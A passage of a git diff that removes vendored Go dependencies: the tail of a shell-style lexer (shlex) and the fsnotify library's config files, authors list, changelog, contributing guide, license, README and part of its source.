STATE_QUOTED_ESCAPING - } - case RUNETOKEN_NONESCAPING_QUOTE: - { - tokenType = TOKEN_WORD - state = STATE_QUOTED - } - case RUNETOKEN_ESCAPE: - { - tokenType = TOKEN_WORD - state = STATE_ESCAPING - } - case RUNETOKEN_COMMENT: - { - tokenType = TOKEN_COMMENT - state = STATE_COMMENT - } - default: - { - return nil, errors.New(fmt.Sprintf("Unknown rune: %v", nextRune)) - } - } - } - case STATE_INWORD: // in a regular word - { - switch nextRuneType { - case RUNETOKEN_EOF: - { - break SCAN - } - case RUNETOKEN_CHAR, RUNETOKEN_COMMENT: - { - value = append(value, nextRune) - } - case RUNETOKEN_SPACE: - { - t.input.UnreadRune() - break SCAN - } - case RUNETOKEN_ESCAPING_QUOTE: - { - state = STATE_QUOTED_ESCAPING - } - case RUNETOKEN_NONESCAPING_QUOTE: - { - state = STATE_QUOTED - } - case RUNETOKEN_ESCAPE: - { - state = STATE_ESCAPING - } - default: - { - return nil, errors.New(fmt.Sprintf("Uknown rune: %v", nextRune)) - } - } - } - case STATE_ESCAPING: // the next rune after an escape character - { - switch nextRuneType { - case RUNETOKEN_EOF: - { - err = errors.New("EOF found after escape character") - break SCAN - } - case RUNETOKEN_CHAR, RUNETOKEN_SPACE, RUNETOKEN_ESCAPING_QUOTE, RUNETOKEN_NONESCAPING_QUOTE, RUNETOKEN_ESCAPE, RUNETOKEN_COMMENT: - { - state = STATE_INWORD - value = append(value, nextRune) - } - default: - { - return nil, errors.New(fmt.Sprintf("Uknown rune: %v", nextRune)) - } - } - } - case STATE_ESCAPING_QUOTED: // the next rune after an escape character, in double quotes - { - switch nextRuneType { - case RUNETOKEN_EOF: - { - err = errors.New("EOF found after escape character") - break SCAN - } - case RUNETOKEN_CHAR, RUNETOKEN_SPACE, RUNETOKEN_ESCAPING_QUOTE, RUNETOKEN_NONESCAPING_QUOTE, RUNETOKEN_ESCAPE, RUNETOKEN_COMMENT: - { - state = STATE_QUOTED_ESCAPING - value = append(value, nextRune) - } - default: - { - return nil, errors.New(fmt.Sprintf("Uknown rune: %v", nextRune)) - } - } - } - case STATE_QUOTED_ESCAPING: // in escaping double quotes - { - switch nextRuneType { - case RUNETOKEN_EOF: - { - err = errors.New("EOF found when expecting closing quote.") - break SCAN - } - case RUNETOKEN_CHAR, RUNETOKEN_UNKNOWN, RUNETOKEN_SPACE, RUNETOKEN_NONESCAPING_QUOTE, RUNETOKEN_COMMENT: - { - value = append(value, nextRune) - } - case RUNETOKEN_ESCAPING_QUOTE: - { - state = STATE_INWORD - } - case RUNETOKEN_ESCAPE: - { - state = STATE_ESCAPING_QUOTED - } - default: - { - return nil, errors.New(fmt.Sprintf("Uknown rune: %v", nextRune)) - } - } - } - case STATE_QUOTED: // in non-escaping single quotes - { - switch nextRuneType { - case RUNETOKEN_EOF: - { - err = errors.New("EOF found when expecting closing quote.") - break SCAN - } - case RUNETOKEN_CHAR, RUNETOKEN_UNKNOWN, RUNETOKEN_SPACE, RUNETOKEN_ESCAPING_QUOTE, RUNETOKEN_ESCAPE, RUNETOKEN_COMMENT: - { - value = append(value, nextRune) - } - case RUNETOKEN_NONESCAPING_QUOTE: - { - state = STATE_INWORD - } - default: - { - return nil, errors.New(fmt.Sprintf("Uknown rune: %v", nextRune)) - } - } - } - case STATE_COMMENT: - { - switch nextRuneType { - case RUNETOKEN_EOF: - { - break SCAN - } - case RUNETOKEN_CHAR, RUNETOKEN_UNKNOWN, RUNETOKEN_ESCAPING_QUOTE, RUNETOKEN_ESCAPE, RUNETOKEN_COMMENT, RUNETOKEN_NONESCAPING_QUOTE: - { - value = append(value, nextRune) - } - case RUNETOKEN_SPACE: - { - if nextRune == '\n' { - state = STATE_START - break SCAN - } else { - value = append(value, nextRune) - } - } - default: - { - return nil, errors.New(fmt.Sprintf("Uknown rune: %v", nextRune)) - } - } - } - default: - { - panic(fmt.Sprintf("Unexpected state: %v", state)) - } - } - } - token := &Token{ - tokenType: tokenType, - value: string(value)} - return token, err -} - -/* -Return the next token in the stream, and an error value. If there are no more -tokens available, the error value will be io.EOF. -*/ -func (t *Tokenizer) NextToken() (*Token, error) { - return t.scanStream() -} - -/* -Split a string in to a slice of strings, based upon shell-style rules for -quoting, escaping, and spaces. -*/ -func Split(s string) ([]string, error) { - l, err := NewLexer(strings.NewReader(s)) - if err != nil { - return nil, err - } - subStrings := []string{} - for { - word, err := l.NextWord() - if err != nil { - if err == io.EOF { - return subStrings, nil - } - return subStrings, err - } - subStrings = append(subStrings, word) - } - return subStrings, nil -} diff --git a/vendor/github.com/fsnotify/fsnotify/.editorconfig b/vendor/github.com/fsnotify/fsnotify/.editorconfig deleted file mode 100644 index ba49e3c234..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/.editorconfig +++ /dev/null @@ -1,5 +0,0 @@ -root = true - -[*] -indent_style = tab -indent_size = 4 diff --git a/vendor/github.com/fsnotify/fsnotify/.gitignore b/vendor/github.com/fsnotify/fsnotify/.gitignore deleted file mode 100644 index 4cd0cbaf43..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/.gitignore +++ /dev/null @@ -1,6 +0,0 @@ -# Setup a Global .gitignore for OS and editor generated files: -# https://help.github.com/articles/ignoring-files -# git config --global core.excludesfile ~/.gitignore_global - -.vagrant -*.sublime-project diff --git a/vendor/github.com/fsnotify/fsnotify/.travis.yml b/vendor/github.com/fsnotify/fsnotify/.travis.yml deleted file mode 100644 index 981d1bb813..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/.travis.yml +++ /dev/null @@ -1,30 +0,0 @@ -sudo: false -language: go - -go: - - 1.8.x - - 1.9.x - - tip - -matrix: - allow_failures: - - go: tip - fast_finish: true - -before_script: - - go get -u github.com/golang/lint/golint - -script: - - go test -v --race ./... - -after_script: - - test -z "$(gofmt -s -l -w . | tee /dev/stderr)" - - test -z "$(golint ./... | tee /dev/stderr)" - - go vet ./... - -os: - - linux - - osx - -notifications: - email: false diff --git a/vendor/github.com/fsnotify/fsnotify/AUTHORS b/vendor/github.com/fsnotify/fsnotify/AUTHORS deleted file mode 100644 index 5ab5d41c54..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/AUTHORS +++ /dev/null @@ -1,52 +0,0 @@ -# Names should be added to this file as -# Name or Organization -# The email address is not required for organizations. - -# You can update this list using the following command: -# -# $ git shortlog -se | awk '{print $2 " " $3 " " $4}' - -# Please keep the list sorted. - -Aaron L -Adrien Bustany -Amit Krishnan -Anmol Sethi -Bjørn Erik Pedersen -Bruno Bigras -Caleb Spare -Case Nelson -Chris Howey -Christoffer Buchholz -Daniel Wagner-Hall -Dave Cheney -Evan Phoenix -Francisco Souza -Hari haran -John C Barstow -Kelvin Fo -Ken-ichirou MATSUZAWA -Matt Layher -Nathan Youngman -Nickolai Zeldovich -Patrick -Paul Hammond -Pawel Knap -Pieter Droogendijk -Pursuit92 -Riku Voipio -Rob Figueiredo -Rodrigo Chiossi -Slawek Ligus -Soge Zhang -Tiffany Jernigan -Tilak Sharma -Tom Payne -Travis Cline -Tudor Golubenco -Vahe Khachikyan -Yukang -bronze1man -debrando -henrikedwards -铁å“Ĩ diff --git a/vendor/github.com/fsnotify/fsnotify/CHANGELOG.md b/vendor/github.com/fsnotify/fsnotify/CHANGELOG.md deleted file mode 100644 index be4d7ea2c1..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/CHANGELOG.md +++ /dev/null @@ -1,317 +0,0 @@ -# Changelog - -## v1.4.7 / 2018-01-09 - -* BSD/macOS: Fix possible deadlock on closing the watcher on kqueue (thanks @nhooyr and @glycerine) -* Tests: Fix missing verb on format string (thanks @rchiossi) -* Linux: Fix deadlock in Remove (thanks @aarondl) -* Linux: Watch.Add improvements (avoid race, fix consistency, reduce garbage) (thanks @twpayne) -* Docs: Moved FAQ into the README (thanks @vahe) -* Linux: Properly handle inotify's IN_Q_OVERFLOW event (thanks @zeldovich) -* Docs: replace references to OS X with macOS - -## v1.4.2 / 2016-10-10 - -* Linux: use InotifyInit1 with IN_CLOEXEC to stop leaking a file descriptor to a child process when using fork/exec [#178](https://github.com/fsnotify/fsnotify/pull/178) (thanks @pattyshack) - -## v1.4.1 / 2016-10-04 - -* Fix flaky inotify stress test on Linux [#177](https://github.com/fsnotify/fsnotify/pull/177) (thanks @pattyshack) - -## v1.4.0 / 2016-10-01 - -* add a String() method to Event.Op [#165](https://github.com/fsnotify/fsnotify/pull/165) (thanks @oozie) - -## v1.3.1 / 2016-06-28 - -* Windows: fix for double backslash when watching the root of a drive [#151](https://github.com/fsnotify/fsnotify/issues/151) (thanks @brunoqc) - -## v1.3.0 / 2016-04-19 - -* Support linux/arm64 by [patching](https://go-review.googlesource.com/#/c/21971/) x/sys/unix and switching to to it from syscall (thanks @suihkulokki) [#135](https://github.com/fsnotify/fsnotify/pull/135) - -## v1.2.10 / 2016-03-02 - -* Fix golint errors in windows.go [#121](https://github.com/fsnotify/fsnotify/pull/121) (thanks @tiffanyfj) - -## v1.2.9 / 2016-01-13 - -kqueue: Fix logic for CREATE after REMOVE [#111](https://github.com/fsnotify/fsnotify/pull/111) (thanks @bep) - -## v1.2.8 / 2015-12-17 - -* kqueue: fix race condition in Close [#105](https://github.com/fsnotify/fsnotify/pull/105) (thanks @djui for reporting the issue and @ppknap for writing a failing test) -* inotify: fix race in test -* enable race detection for continuous integration (Linux, Mac, Windows) - -## v1.2.5 / 2015-10-17 - -* inotify: use epoll_create1 for arm64 support (requires Linux 2.6.27 or later) [#100](https://github.com/fsnotify/fsnotify/pull/100) (thanks @suihkulokki) -* inotify: fix path leaks [#73](https://github.com/fsnotify/fsnotify/pull/73) (thanks @chamaken) -* kqueue: watch for rename events on subdirectories [#83](https://github.com/fsnotify/fsnotify/pull/83) (thanks @guotie) -* kqueue: avoid infinite loops from symlinks cycles [#101](https://github.com/fsnotify/fsnotify/pull/101) (thanks @illicitonion) - -## v1.2.1 / 2015-10-14 - -* kqueue: don't watch named pipes [#98](https://github.com/fsnotify/fsnotify/pull/98) (thanks @evanphx) - -## v1.2.0 / 2015-02-08 - -* inotify: use epoll to wake up readEvents [#66](https://github.com/fsnotify/fsnotify/pull/66) (thanks @PieterD) -* inotify: closing watcher should now always shut down goroutine [#63](https://github.com/fsnotify/fsnotify/pull/63) (thanks @PieterD) -* kqueue: close kqueue after removing watches, fixes [#59](https://github.com/fsnotify/fsnotify/issues/59) - -## v1.1.1 / 2015-02-05 - -* inotify: Retry read on EINTR [#61](https://github.com/fsnotify/fsnotify/issues/61) (thanks @PieterD) - -## v1.1.0 / 2014-12-12 - -* kqueue: rework internals [#43](https://github.com/fsnotify/fsnotify/pull/43) - * add low-level functions - * only need to store flags on directories - * less mutexes [#13](https://github.com/fsnotify/fsnotify/issues/13) - * done can be an unbuffered channel - * remove calls to os.NewSyscallError -* More efficient string concatenation for Event.String() [#52](https://github.com/fsnotify/fsnotify/pull/52) (thanks @mdlayher) -* kqueue: fix regression in rework causing subdirectories to be watched [#48](https://github.com/fsnotify/fsnotify/issues/48) -* kqueue: cleanup internal watch before sending remove event [#51](https://github.com/fsnotify/fsnotify/issues/51) - -## v1.0.4 / 2014-09-07 - -* kqueue: add dragonfly to the build tags. -* Rename source code files, rearrange code so exported APIs are at the top. -* Add done channel to example code. [#37](https://github.com/fsnotify/fsnotify/pull/37) (thanks @chenyukang) - -## v1.0.3 / 2014-08-19 - -* [Fix] Windows MOVED_TO now translates to Create like on BSD and Linux. [#36](https://github.com/fsnotify/fsnotify/issues/36) - -## v1.0.2 / 2014-08-17 - -* [Fix] Missing create events on macOS. [#14](https://github.com/fsnotify/fsnotify/issues/14) (thanks @zhsso) -* [Fix] Make ./path and path equivalent. (thanks @zhsso) - -## v1.0.0 / 2014-08-15 - -* [API] Remove AddWatch on Windows, use Add. -* Improve documentation for exported identifiers. [#30](https://github.com/fsnotify/fsnotify/issues/30) -* Minor updates based on feedback from golint. - -## dev / 2014-07-09 - -* Moved to [github.com/fsnotify/fsnotify](https://github.com/fsnotify/fsnotify). -* Use os.NewSyscallError instead of returning errno (thanks @hariharan-uno) - -## dev / 2014-07-04 - -* kqueue: fix incorrect mutex used in Close() -* Update example to demonstrate usage of Op. - -## dev / 2014-06-28 - -* [API] Don't set the Write Op for attribute notifications [#4](https://github.com/fsnotify/fsnotify/issues/4) -* Fix for String() method on Event (thanks Alex Brainman) -* Don't build on Plan 9 or Solaris (thanks @4ad) - -## dev / 2014-06-21 - -* Events channel of type Event rather than *Event. -* [internal] use syscall constants directly for inotify and kqueue. -* [internal] kqueue: rename events to kevents and fileEvent to event. - -## dev / 2014-06-19 - -* Go 1.3+ required on Windows (uses syscall.ERROR_MORE_DATA internally). -* [internal] remove cookie from Event struct (unused). -* [internal] Event struct has the same definition across every OS. -* [internal] remove internal watch and removeWatch methods. - -## dev / 2014-06-12 - -* [API] Renamed Watch() to Add() and RemoveWatch() to Remove(). -* [API] Pluralized channel names: Events and Errors. -* [API] Renamed FileEvent struct to Event. -* [API] Op constants replace methods like IsCreate(). - -## dev / 2014-06-12 - -* Fix data race on kevent buffer (thanks @tilaks) [#98](https://github.com/howeyc/fsnotify/pull/98) - -## dev / 2014-05-23 - -* [API] Remove current implementation of WatchFlags. - * current implementation doesn't take advantage of OS for efficiency - * provides little benefit over filtering events as they are received, but has extra bookkeeping and mutexes - * no tests for the current implementation - * not fully implemented on Windows [#93](https://github.com/howeyc/fsnotify/issues/93#issuecomment-39285195) - -## v0.9.3 / 2014-12-31 - -* kqueue: cleanup internal watch before sending remove event [#51](https://github.com/fsnotify/fsnotify/issues/51) - -## v0.9.2 / 2014-08-17 - -* [Backport] Fix missing create events on macOS. [#14](https://github.com/fsnotify/fsnotify/issues/14) (thanks @zhsso) - -## v0.9.1 / 2014-06-12 - -* Fix data race on kevent buffer (thanks @tilaks) [#98](https://github.com/howeyc/fsnotify/pull/98) - -## v0.9.0 / 2014-01-17 - -* IsAttrib() for events that only concern a file's metadata [#79][] (thanks @abustany) -* [Fix] kqueue: fix deadlock [#77][] (thanks @cespare) -* [NOTICE] Development has moved to `code.google.com/p/go.exp/fsnotify` in preparation for inclusion in the Go standard library. - -## v0.8.12 / 2013-11-13 - -* [API] Remove FD_SET and friends from Linux adapter - -## v0.8.11 / 2013-11-02 - -* [Doc] Add Changelog [#72][] (thanks @nathany) -* [Doc] Spotlight and double modify events on macOS [#62][] (reported by @paulhammond) - -## v0.8.10 / 2013-10-19 - -* [Fix] kqueue: remove file watches when parent directory is removed [#71][] (reported by @mdwhatcott) -* [Fix] kqueue: race between Close and readEvents [#70][] (reported by @bernerdschaefer) -* [Doc] specify OS-specific limits in README (thanks @debrando) - -## v0.8.9 / 2013-09-08 - -* [Doc] Contributing (thanks @nathany) -* [Doc] update package path in example code [#63][] (thanks @paulhammond) -* [Doc] GoCI badge in README (Linux only) [#60][] -* [Doc] Cross-platform testing with Vagrant [#59][] (thanks @nathany) - -## v0.8.8 / 2013-06-17 - -* [Fix] Windows: handle `ERROR_MORE_DATA` on Windows [#49][] (thanks @jbowtie) - -## v0.8.7 / 2013-06-03 - -* [API] Make syscall flags internal -* [Fix] inotify: ignore event changes -* [Fix] race in symlink test [#45][] (reported by @srid) -* [Fix] tests on Windows -* lower case error messages - -## v0.8.6 / 2013-05-23 - -* kqueue: Use EVT_ONLY flag on Darwin -* [Doc] Update README with full example - -## v0.8.5 / 2013-05-09 - -* [Fix] inotify: allow monitoring of "broken" symlinks (thanks @tsg) - -## v0.8.4 / 2013-04-07 - -* [Fix] kqueue: watch all file events [#40][] (thanks @ChrisBuchholz) - -## v0.8.3 / 2013-03-13 - -* [Fix] inoitfy/kqueue memory leak [#36][] (reported by @nbkolchin) -* [Fix] kqueue: use fsnFlags for watching a directory [#33][] (reported by @nbkolchin) - -## v0.8.2 / 2013-02-07 - -* [Doc] add Authors -* [Fix] fix data races for map access [#29][] (thanks @fsouza) - -## v0.8.1 / 2013-01-09 - -* [Fix] Windows path separators -* [Doc] BSD License - -## v0.8.0 / 2012-11-09 - -* kqueue: directory watching improvements (thanks @vmirage) -* inotify: add `IN_MOVED_TO` [#25][] (requested by @cpisto) -* [Fix] kqueue: deleting watched directory [#24][] (reported by @jakerr) - -## v0.7.4 / 2012-10-09 - -* [Fix] inotify: fixes from https://codereview.appspot.com/5418045/ (ugorji) -* [Fix] kqueue: preserve watch flags when watching for delete [#21][] (reported by @robfig) -* [Fix] kqueue: watch the directory even if it isn't a new watch (thanks @robfig) -* [Fix] kqueue: modify after recreation of file - -## v0.7.3 / 2012-09-27 - -* [Fix] kqueue: watch with an existing folder inside the watched folder (thanks @vmirage) -* [Fix] kqueue: no longer get duplicate CREATE events - -## v0.7.2 / 2012-09-01 - -* kqueue: events for created directories - -## v0.7.1 / 2012-07-14 - -* [Fix] for renaming files - -## v0.7.0 / 2012-07-02 - -* [Feature] FSNotify flags -* [Fix] inotify: Added file name back to event path - -## v0.6.0 / 2012-06-06 - -* kqueue: watch files after directory created (thanks @tmc) - -## v0.5.1 / 2012-05-22 - -* [Fix] inotify: remove all watches before Close() - -## v0.5.0 / 2012-05-03 - -* [API] kqueue: return errors during watch instead of sending over channel -* kqueue: match symlink behavior on Linux -* inotify: add `DELETE_SELF` (requested by @taralx) -* [Fix] kqueue: handle EINTR (reported by @robfig) -* [Doc] Godoc example [#1][] (thanks @davecheney) - -## v0.4.0 / 2012-03-30 - -* Go 1 released: build with go tool -* [Feature] Windows support using winfsnotify -* Windows does not have attribute change notifications -* Roll attribute notifications into IsModify - -## v0.3.0 / 2012-02-19 - -* kqueue: add files when watch directory - -## v0.2.0 / 2011-12-30 - -* update to latest Go weekly code - -## v0.1.0 / 2011-10-19 - -* kqueue: add watch on file creation to match inotify -* kqueue: create file event -* inotify: ignore `IN_IGNORED` events -* event String() -* linux: common FileEvent functions -* initial commit - -[#79]: https://github.com/howeyc/fsnotify/pull/79 -[#77]: https://github.com/howeyc/fsnotify/pull/77 -[#72]: https://github.com/howeyc/fsnotify/issues/72 -[#71]: https://github.com/howeyc/fsnotify/issues/71 -[#70]: https://github.com/howeyc/fsnotify/issues/70 -[#63]: https://github.com/howeyc/fsnotify/issues/63 -[#62]: https://github.com/howeyc/fsnotify/issues/62 -[#60]: https://github.com/howeyc/fsnotify/issues/60 -[#59]: https://github.com/howeyc/fsnotify/issues/59 -[#49]: https://github.com/howeyc/fsnotify/issues/49 -[#45]: https://github.com/howeyc/fsnotify/issues/45 -[#40]: https://github.com/howeyc/fsnotify/issues/40 -[#36]: https://github.com/howeyc/fsnotify/issues/36 -[#33]: https://github.com/howeyc/fsnotify/issues/33 -[#29]: https://github.com/howeyc/fsnotify/issues/29 -[#25]: https://github.com/howeyc/fsnotify/issues/25 -[#24]: https://github.com/howeyc/fsnotify/issues/24 -[#21]: https://github.com/howeyc/fsnotify/issues/21 diff --git a/vendor/github.com/fsnotify/fsnotify/CONTRIBUTING.md b/vendor/github.com/fsnotify/fsnotify/CONTRIBUTING.md deleted file mode 100644 index 828a60b24b..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/CONTRIBUTING.md +++ /dev/null @@ -1,77 +0,0 @@ -# Contributing - -## Issues - -* Request features and report bugs using the [GitHub Issue Tracker](https://github.com/fsnotify/fsnotify/issues). -* Please indicate the platform you are using fsnotify on. -* A code example to reproduce the problem is appreciated. - -## Pull Requests - -### Contributor License Agreement - -fsnotify is derived from code in the [golang.org/x/exp](https://godoc.org/golang.org/x/exp) package and it may be included [in the standard library](https://github.com/fsnotify/fsnotify/issues/1) in the future. Therefore fsnotify carries the same [LICENSE](https://github.com/fsnotify/fsnotify/blob/master/LICENSE) as Go. Contributors retain their copyright, so you need to fill out a short form before we can accept your contribution: [Google Individual Contributor License Agreement](https://developers.google.com/open-source/cla/individual). - -Please indicate that you have signed the CLA in your pull request. - -### How fsnotify is Developed - -* Development is done on feature branches. -* Tests are run on BSD, Linux, macOS and Windows. -* Pull requests are reviewed and [applied to master][am] using [hub][]. - * Maintainers may modify or squash commits rather than asking contributors to. -* To issue a new release, the maintainers will: - * Update the CHANGELOG - * Tag a version, which will become available through gopkg.in. - -### How to Fork - -For smooth sailing, always use the original import path. Installing with `go get` makes this easy. - -1. Install from GitHub (`go get -u github.com/fsnotify/fsnotify`) -2. Create your feature branch (`git checkout -b my-new-feature`) -3. Ensure everything works and the tests pass (see below) -4. Commit your changes (`git commit -am 'Add some feature'`) - -Contribute upstream: - -1. Fork fsnotify on GitHub -2. Add your remote (`git remote add fork git@github.com:mycompany/repo.git`) -3. Push to the branch (`git push fork my-new-feature`) -4. Create a new Pull Request on GitHub - -This workflow is [thoroughly explained by Katrina Owen](https://splice.com/blog/contributing-open-source-git-repositories-go/). - -### Testing - -fsnotify uses build tags to compile different code on Linux, BSD, macOS, and Windows. - -Before doing a pull request, please do your best to test your changes on multiple platforms, and list which platforms you were able/unable to test on. - -To aid in cross-platform testing there is a Vagrantfile for Linux and BSD. - -* Install [Vagrant](http://www.vagrantup.com/) and [VirtualBox](https://www.virtualbox.org/) -* Setup [Vagrant Gopher](https://github.com/nathany/vagrant-gopher) in your `src` folder. -* Run `vagrant up` from the project folder. You can also setup just one box with `vagrant up linux` or `vagrant up bsd` (note: the BSD box doesn't support Windows hosts at this time, and NFS may prompt for your host OS password) -* Once setup, you can run the test suite on a given OS with a single command `vagrant ssh linux -c 'cd fsnotify/fsnotify; go test'`. -* When you're done, you will want to halt or destroy the Vagrant boxes. - -Notice: fsnotify file system events won't trigger in shared folders. The tests get around this limitation by using the /tmp directory. - -Right now there is no equivalent solution for Windows and macOS, but there are Windows VMs [freely available from Microsoft](http://www.modern.ie/en-us/virtualization-tools#downloads). - -### Maintainers - -Help maintaining fsnotify is welcome. To be a maintainer: - -* Submit a pull request and sign the CLA as above. -* You must be able to run the test suite on Mac, Windows, Linux and BSD. - -To keep master clean, the fsnotify project uses the "apply mail" workflow outlined in Nathaniel Talbott's post ["Merge pull request" Considered Harmful][am]. This requires installing [hub][]. - -All code changes should be internal pull requests. - -Releases are tagged using [Semantic Versioning](http://semver.org/). - -[hub]: https://github.com/github/hub -[am]: http://blog.spreedly.com/2014/06/24/merge-pull-request-considered-harmful/#.VGa5yZPF_Zs diff --git a/vendor/github.com/fsnotify/fsnotify/LICENSE b/vendor/github.com/fsnotify/fsnotify/LICENSE deleted file mode 100644 index f21e540800..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/LICENSE +++ /dev/null @@ -1,28 +0,0 @@ -Copyright (c) 2012 The Go Authors. All rights reserved. -Copyright (c) 2012 fsnotify Authors. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/fsnotify/fsnotify/README.md b/vendor/github.com/fsnotify/fsnotify/README.md deleted file mode 100644 index 3993207413..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/README.md +++ /dev/null @@ -1,79 +0,0 @@ -# File system notifications for Go - -[![GoDoc](https://godoc.org/github.com/fsnotify/fsnotify?status.svg)](https://godoc.org/github.com/fsnotify/fsnotify) [![Go Report Card](https://goreportcard.com/badge/github.com/fsnotify/fsnotify)](https://goreportcard.com/report/github.com/fsnotify/fsnotify) - -fsnotify utilizes [golang.org/x/sys](https://godoc.org/golang.org/x/sys) rather than `syscall` from the standard library. Ensure you have the latest version installed by running: - -```console -go get -u golang.org/x/sys/... -``` - -Cross platform: Windows, Linux, BSD and macOS. - -|Adapter |OS |Status | -|----------|----------|----------| -|inotify |Linux 2.6.27 or later, Android\*|Supported [![Build Status](https://travis-ci.org/fsnotify/fsnotify.svg?branch=master)](https://travis-ci.org/fsnotify/fsnotify)| -|kqueue |BSD, macOS, iOS\*|Supported [![Build Status](https://travis-ci.org/fsnotify/fsnotify.svg?branch=master)](https://travis-ci.org/fsnotify/fsnotify)| -|ReadDirectoryChangesW|Windows|Supported [![Build status](https://ci.appveyor.com/api/projects/status/ivwjubaih4r0udeh/branch/master?svg=true)](https://ci.appveyor.com/project/NathanYoungman/fsnotify/branch/master)| -|FSEvents |macOS |[Planned](https://github.com/fsnotify/fsnotify/issues/11)| -|FEN |Solaris 11 |[In Progress](https://github.com/fsnotify/fsnotify/issues/12)| -|fanotify |Linux 2.6.37+ | | -|USN Journals |Windows |[Maybe](https://github.com/fsnotify/fsnotify/issues/53)| -|Polling |*All* |[Maybe](https://github.com/fsnotify/fsnotify/issues/9)| - -\* Android and iOS are untested. - -Please see [the documentation](https://godoc.org/github.com/fsnotify/fsnotify) and consult the [FAQ](#faq) for usage information. - -## API stability - -fsnotify is a fork of [howeyc/fsnotify](https://godoc.org/github.com/howeyc/fsnotify) with a new API as of v1.0. The API is based on [this design document](http://goo.gl/MrYxyA). - -All [releases](https://github.com/fsnotify/fsnotify/releases) are tagged based on [Semantic Versioning](http://semver.org/). Further API changes are [planned](https://github.com/fsnotify/fsnotify/milestones), and will be tagged with a new major revision number. - -Go 1.6 supports dependencies located in the `vendor/` folder. Unless you are creating a library, it is recommended that you copy fsnotify into `vendor/github.com/fsnotify/fsnotify` within your project, and likewise for `golang.org/x/sys`. - -## Contributing - -Please refer to [CONTRIBUTING][] before opening an issue or pull request. - -## Example - -See [example_test.go](https://github.com/fsnotify/fsnotify/blob/master/example_test.go). - -## FAQ - -**When a file is moved to another directory is it still being watched?** - -No (it shouldn't be, unless you are watching where it was moved to). - -**When I watch a directory, are all subdirectories watched as well?** - -No, you must add watches for any directory you want to watch (a recursive watcher is on the roadmap [#18][]). - -**Do I have to watch the Error and Event channels in a separate goroutine?** - -As of now, yes. Looking into making this single-thread friendly (see [howeyc #7][#7]) - -**Why am I receiving multiple events for the same file on OS X?** - -Spotlight indexing on OS X can result in multiple events (see [howeyc #62][#62]). A temporary workaround is to add your folder(s) to the *Spotlight Privacy settings* until we have a native FSEvents implementation (see [#11][]). - -**How many files can be watched at once?** - -There are OS-specific limits as to how many watches can be created: -* Linux: /proc/sys/fs/inotify/max_user_watches contains the limit, reaching this limit results in a "no space left on device" error. -* BSD / OSX: sysctl variables "kern.maxfiles" and "kern.maxfilesperproc", reaching these limits results in a "too many open files" error. - -[#62]: https://github.com/howeyc/fsnotify/issues/62 -[#18]: https://github.com/fsnotify/fsnotify/issues/18 -[#11]: https://github.com/fsnotify/fsnotify/issues/11 -[#7]: https://github.com/howeyc/fsnotify/issues/7 - -[contributing]: https://github.com/fsnotify/fsnotify/blob/master/CONTRIBUTING.md - -## Related Projects - -* [notify](https://github.com/rjeczalik/notify) -* [fsevents](https://github.com/fsnotify/fsevents) - diff --git a/vendor/github.com/fsnotify/fsnotify/fen.go b/vendor/github.com/fsnotify/fsnotify/fen.go deleted file mode 100644 index ced39cb881..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/fen.go +++ /dev/null @@ -1,37 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build solaris - -package fsnotify - -import ( - "errors" -) - -// Watcher watches a set of files, delivering events to a channel. -type Watcher struct { - Events chan Event - Errors chan error -} - -// NewWatcher establishes a new watcher with the underlying OS and begins waiting for events. -func NewWatcher() (*Watcher, error) { - return nil, errors.New("FEN based watcher not yet supported for fsnotify\n") -} - -// Close removes all watches and closes the events channel. -func (w *Watcher) Close() error { - return nil -} - -// Add starts watching the named file or directory (non-recursively). -func (w *Watcher) Add(name string) error { - return nil -} - -// Remove stops watching the the named file or directory (non-recursively). -func (w *Watcher) Remove(name string) error { - return nil -} diff --git a/vendor/github.com/fsnotify/fsnotify/fsnotify.go b/vendor/github.com/fsnotify/fsnotify/fsnotify.go deleted file mode 100644 index 190bf0de57..0000000000 --- a/vendor/github.com/fsnotify/fsnotify/fsnotify.go +++ /dev/null @@ -1,66 +0,0 @@ -// Copyright 2012 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build !plan9 - -// Package fsnotify provides a platform-independent interface for file system notifications. -package fsnotify - -import ( - "bytes" - "errors" - "fmt" -) - -// Event represents a single file system notification. -type Event struct { - Name string // Relative path to the file or directory. - Op Op // File operation that triggered the event. -} - -// Op describes a set of file operations. -type Op uint32 - -// These are the generalized file operations that can trigger a notification. -const ( - Create Op = 1 << iota - Write - Remove - Rename - Chmod -) - -func (op Op) String() string { - // Use a buffer for efficient string concatenation - var buffer bytes.Buffer - - if op&Create == Create { - 